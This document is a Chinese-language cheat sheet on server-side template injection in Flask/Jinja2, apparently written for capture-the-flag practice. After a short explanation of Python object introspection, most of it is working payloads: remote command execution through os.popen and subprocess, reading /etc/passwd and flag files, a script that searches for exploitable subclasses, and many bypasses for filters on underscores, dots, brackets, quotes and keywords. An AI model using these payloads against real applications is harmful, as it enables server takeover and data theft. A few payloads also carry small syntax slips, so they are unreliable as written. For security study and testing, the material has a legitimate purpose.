ssti:SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念,通过与服务端模板的 输入输出 交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的
因为flask使用Jinja2渲染引擎,可以在前端通过{{}}的形式使用变量或者{% %}执行python语句,存在注入的可能(不懂的话先去看flask!) 因为flask是用的python语言,所以python中的一些内置函数可以在flask中被使用,我们可以借此来越层读写文件,执行命令等。
常用魔术函数: __class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 __bases__:用来查看类的基类,也可以使用数组索引来查看特定位置的值。 __subclasses__():查看当前类的子类
getattribute__和__getattr __getattribute__会在一个实例访问属性的时候自动被调用 __getattr__会在找不到相应属性时被调用。
{}/()/[]的基类都属于object类,以下函数结果得到object类 一般可以用来获得基本类 {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] 上述函数+.__subclasses__()获得object类的子类,基本就能获得可以用到的大部分类了类名+.__init__可以检测该类有没有被重载 没有被重载会得到带wrapper的说明
__globals__可以返回函数所在模块命名空间中的所有变量,可以用来找到自己能用函数 其中可以使用__builtins__内置模块,它可以让你使用python内置的函数,进行执行命令 一般用法为__globals__['__builtins__'],
每个python脚本都会自动加载 builtins 这个模块,所以要从内置变量出发找到一个可以达成payload的函数(eval, exec…),只需要随便从一个内置变量调用隐藏属性,找到任意一个函数,然后__globals__['__builtins __']就可以
>>> def test(): pass >>> test.__globals__['__builtins__'] <module 'builtins' (built-in)> >>> test.__globals__['__builtins__'].eval <built-in function eval> >>> test.__globals__['__builtins__'].exec <built-in function exec> >>> test.__globals__['__builtins__'].open <built-in function open>class.__init __` 会在一个实例被new()创建的时候自动调用,从而起到构造函数的作用,可以配合前面的内置函数,来使这个函数中执行我们想要的命令 一个简单例子
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()') 前面为获得object的子类,mro类似于bases函数,59为查找后被重载过的类找被重载过的类: 如果函数并没有被重载,这时他们并不是function,不具有__globals__属性
如何找: 暴力查找,一个一个类用init函数测试,找到没有wrapper的就可以进入 burpsuite直接扫,(’’.class.mro[2].subclasses()[*].init)查看回显的长度(wrapper代表没被重载,长度会短于被重载的类的回显) ,然后找含有os的类
写脚本 例如
from flask import Flask from jinja2 import Template searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__'] neededFunction = ['eval', 'open', 'exec'] pay = int(input("Payload?[1|0]")) for index, i in enumerate({}.__class__.__base__.__subclasses__()): for attr in searchList: if hasattr(i, attr): if eval('str(i.'+attr+')[1:9]') == 'function': for goal in neededFunction: if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')): if pay != 1: print(i.__name__,":", attr, goal) else: print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")但这个脚本结束时返回的为命令的形式,过滤了{% %}的话可能就用不了 原博客https://blog.csdn.net/qq_27446553/article/details/79379136
含有os的类的payload 此处71为site._Printer模块 目录查询 {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}} 读取目录 {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /').read()}} 读取flag {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat flag').read()} 网上看到的一个用subprocess.Popen的payload {{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}} {{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}} {{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}} 之前没用过这种形式在不能用包含os类的模块时,用catch_warnings模块可以引入os模块,进行命令执行
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls') {{''.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} 但有时题目不会这么简单让你直接用59的 用[].__class__.__base__.__subclasses__().index(warnings.catch_warnings) 可以查找那个模块的位置,也可以自己数。另一种写法,执行命令的方式
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("ls/").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}一些常见过滤绕过 https://blog.csdn.net/qq_45521281/article/details/106243544 以下表示法均可用于访问对象的属性:
request.__class__ request["__class__"] request|attr("__class__")中括号([ ]): 用__getitem__() 这个方法可以返回与指定键相关联的值,可以用来获取序号。
"".__class__.__mro__[2] "".__class__.__mro__.__getitem__(2)是相等的
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()pop函数代替popen,此处能返回某一元素的值,取代中括号,来实现绕过
另一种做法: Jinja有类似Linux管道机制的语法,即’|'符号。 利用此语法加上attr()方法,就可以达到在方括号中书写属性名称一样的效果。 request | attr(request.args.a)等价于request["a"] 这样既可以绕过[],也可以绕过. https://0day.work/jinja2-template-injection-filter-bypasses/ 一个大佬的payload:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat /flag')|attr('read')()}}引号:request.args 是flask中的一个属性、为返回请求的参数、这里把path当作变量名、将后面的路径传值进来、进而绕过了引号的过滤
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd过滤下划线和点: 以下大部分参考https://y4tacker.blog.csdn.net/article/details/107752717 "\x5f"是字符 ”_“,”\x2E"是字符 "."可以用这两个绕过 ‘’.__class__可以写成 getattr(’’,“class”)或者 ’’|attr(“class”)
{{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}} 用[]也可以起到代替.的作用 {{ config['__class__']['__init__']['__globals__']['os']['popen']('ipconfig')['read']() }} 如果config被过滤可以用self代替 url_for.__globals__['current_app'].__dict__ 可以访问到config中的内容(还有其他内容),有的题把flag直接放在config里并过滤了config,可以这样访问到(通过上部全局变量访问)也可以用request.args方法,绕过一些简单验证,和上面差不多
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__request.args要配合get传参,可以改用request.values,进行post传参
过滤关键字:用__getattribute__字符串拼接绕过,也可以用base64编码的函数
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}`还可以写成
"".__class__===""["__cla"+"ss__"]或者使用format格式化字符串
{{__class__}}==={{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}Python2中的语句
读写文件 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} 任意命令执行 {{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块) {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os)tplmap 好用的工具,github:https://github.com/epinna/tplmap 需要python2环境
